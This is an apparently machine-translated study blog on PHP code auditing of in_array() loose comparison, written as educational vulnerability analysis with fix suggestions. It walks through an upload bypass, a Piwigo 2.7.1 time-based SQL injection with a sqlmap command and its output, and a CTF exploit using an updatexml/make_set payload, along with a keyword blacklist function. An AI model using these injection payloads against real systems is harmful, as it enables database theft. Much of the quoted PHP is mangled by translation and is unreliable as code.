I. Start code auditing 01
From today on, I learned code auditing. This article is called code auditing 01. The first question is from PHP security calendar 2017. Let's start with the article written by Red Sun Security.
Ii. First read this question 1. Question name: Wish List
2. Functions of in_array ()
The in_array () function is used to determine whether the first parameter exists in the second parameter. If the second parameter exists, true is returned. If the second parameter does not exist, false is returned. Note that if the third parameter of the function is true, the first parameter must be the same as the second parameter before the function returns true. If no third parameter is specified, the function will be forcibly converted in some cases, and the vulnerability of the question is here.
3. Question Vulnerability Analysis
if (in_array($this->file[‘name‘], $this->whitelist)) { move_uploaded_file($this->file[‘tmp_name‘], self::UPLOAD_DIRECTORY . $this->file[‘name‘]);}
The in_array () function simply checks whether the file name is in the whitelist and does not set the third parameter to true. Attackers can upload5backdoor.php
The file name is5backdoor
, In_array () function forcibly converts a file name5
, Meets the Ranger () whitelist conditions,5backdoor.php
Yes, so an Arbitrary File Upload Vulnerability occurs.
4. extended knowledge of in_array ()
A piece of in_array Code clearly shows the difference between non-strict mode and strict mode:
<?php$array = array( ‘egg‘ => true, ‘cheese‘ => false, ‘hair‘ => 765, ‘goblins‘ => null, ‘ogres‘ => ‘no ogres allowed in this array‘);// Loose checking -- return values are in comments// First three make sense, last four do notvar_dump(in_array(null, $array)); // truevar_dump(in_array(false, $array)); // truevar_dump(in_array(765, $array)); // truevar_dump(in_array(763, $array)); // truevar_dump(in_array(‘egg‘, $array)); // truevar_dump(in_array(‘hhh‘, $array)); // truevar_dump(in_array(array(), $array)); // true// Strict checkingvar_dump(in_array(null, $array, true)); // truevar_dump(in_array(false, $array, true)); // truevar_dump(in_array(765, $array, true)); // truevar_dump(in_array(763, $array, true)); // falsevar_dump(in_array(‘egg‘, $array, true)); // falsevar_dump(in_array(‘hhh‘, $array, true)); // falsevar_dump(in_array(array(), $array, true)); // false?>
3. Combined with a case
Selectpiwigo2.7.1
An SQL injection vulnerability in the Content Management System
1. Vulnerability Principle Analysis
Vulnerability files:include/functions_rate.inc.php
,include/config_default.inc.php
Andpicture.php
.
picture.php
Key code:
If (isset ($ _ Get ['action']) {Switch ($ _ Get ['action']) ******************** */case 'rate ': {shortde_once (phpwg_root_path. 'include/functions_rate.inc.php '); rate_picture ($ page ['image _ id'], $ _ post ['rate']); Redirect ($ url_self );} ******************** */}
include/functions_rate.inc.php
Key code:
Function rate_picture ($ image_id, $ rate) {Global $ Conf, $ user; If (! Isset ($ rate) or! $ Conf ['rate'] or! In_array ($ rate, $ conf ['rate _ items ']) {return false ;} ******************** */if ($ user_anonymous) {$ query. = 'and anonymous_id = \''. $ anonymous_id. '\ ''';} pwg_query ($ query); $ query = 'insert '. rate_table. '(user_id, anonymous_id, element_id, rate, date) values ('. $ user ['id']. ','. '\''. $ anonymous_id. '\','. $ image_id. ','. $ rate. ', now ();'; pwg_query ($ query); Return update_rating_score ($ image_id );}
include/config_default.inc.php
Key code:
$conf[‘rate_items‘] = array(0,1,2,3,4,5);
Through the code analysis above, when the parameter action = rate is calledinclude/functions_rate.inc.php
Ofrate_picture($image_id, $rate)
Function.in_array($rate, $conf[‘rate_items‘]))
The third parameter is not set because true is not strictly checked, causing the variable$rate
Variable Control, Set$rate
Set1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
Then the SQL statement becomes:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,‘192.168.2‘,1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
Time-based SQL blind injection is generated.
2. Vulnerability proof
Use SQL injection tool sqlmap to prove the vulnerability. Payload is as follows:
python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
Vulnerability verification result:
[20:45:34] [INFO] testing connection to the target URLsqlmap got a 302 redirect to ‘http://192.168.203.131:80/piwigo/picture.php?/1/category/1‘. Do you want to follow? [Y/n] Yredirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Ysqlmap resumed the following injection point(s) from stored session:---Parameter: rate (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: rate=1 AND SLEEP(5)---[20:45:37] [INFO] the back-end DBMS is MySQLweb server operating system: Windowsweb application technology: PHP 5.4.45, Apache 2.4.23back-end DBMS: MySQL >= 5.0.12[20:45:37] [INFO] fetching database names[20:45:37] [INFO] fetching number of databases[20:45:37] [INFO] resumed: 5[20:45:37] [INFO] resumed: information_schema[20:45:37] [INFO] resumed: mysq[20:45:37] [INFO] resumed: mysql[20:45:37] [INFO] resumed: performance_schema[20:45:37] [INFO] resumed: piwigo271available databases [5]:[*] information_schema[*] mysq[*] mysql[*] performance_schema[*] piwigo271
3. Repair suggestions
Method 1: Set the third parameter of the in_array () function to true;
Method 2: Use the intval () function to convert the variable into a number;
Method 3: Use a regular expression to filter data. Only a number is allowed ).
4. Learn a CTF Question of the same type
// Index. php <? Phpinclude 'config. PHP '; $ conn = new mysqli ($ servername, $ username, $ password, $ dbname); if ($ Conn-> connect_error) {die ("Connection Failed: ") ;}$ SQL =" select count (*) from users "; $ whitelist = array (); $ result = $ Conn-> query ($ SQL ); if ($ result-> num_rows> 0) {$ ROW = $ result-> fetch_assoc (); $ whitelist = range (1, $ row ['count (*) ']);} $ id = stop_hack ($ _ Get ['id']); $ SQL = "select * from users where id = $ id"; if (! In_array ($ id, $ whitelist) {die ("ID $ ID is not in whitelist. ") ;}$ result = $ Conn-> query ($ SQL); if ($ result-> num_rows> 0) {$ ROW = $ result-> fetch_assoc (); echo "<center> <Table border = '1'>"; foreach ($ row as $ key => $ value) {echo "<tr> <TD> <center> $ key </center> </TD> <br> "; echo "<TD> <center> $ value </center> </TD> </tr> <br> ";} echo "</table> </center>" ;}else {die ($ Conn-> error) ;}?>
//config.php<?php $servername = "localhost";$username = "fire";$password = "fire";$dbname = "day1";function stop_hack($value){ $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval"; $back_list = explode("|",$pattern); foreach($back_list as $hack){ if(preg_match("/$hack/i", $value)) die("$hack detected!"); } return $value;}?>
# Create database day1; Use day1; Create Table users (ID int (6) unsigned auto_increment primary key, name varchar (20) not null, email varchar (30) not null, salary int (8) unsigned not null); insert into users values (1, 'lucia ',' [email protected] ', 3000 ); insert into users values (2, 'Danny ',' [email protected] ', 4500); insert into users values (3, 'alina', '[email protected]', 2700); insert into users values (4, 'jameson', '[email protected]', 10000); insert into users values (5, 'allie ', '[email protected]', 6000); Create Table flag (flag varchar (30) not null); insert into flag values ('hrctf {1n0rry_i3_vu1n3rab13 }');
The stop_hack () function disables keywords and functions. After reading the parsing in this article, you can use the updatexml + make_set functions to successfully obtain the flag. The payload is as follows:
http://192.168.203.131/day1/index.php?id=1 and (select updatexml(1,make_set(3,‘~‘,(select flag from flag)),1))
5. Individual gains
- When the in_array () function is used for whitelist filtering, improper use may cause a vulnerability;
- You can use updatexml () or extractvalue () Functions with make_set () and other functions for injection;
- Keep learning and make great progress.
6. References
[Redsun Security] Code audit day1-in_array function defects
Piwio SQL Injection
Free Open-source album piwio <= v2.7.1 SQL Injection Vulnerability Analysis
[Redsun Security] Day1-4 of PHP-Audit-Labs Solutions
Updatexml injection without Concat
MySQL updatexml () and extractvalue () Error-type SQL Injection
Code audit learning 01-in_array () function defects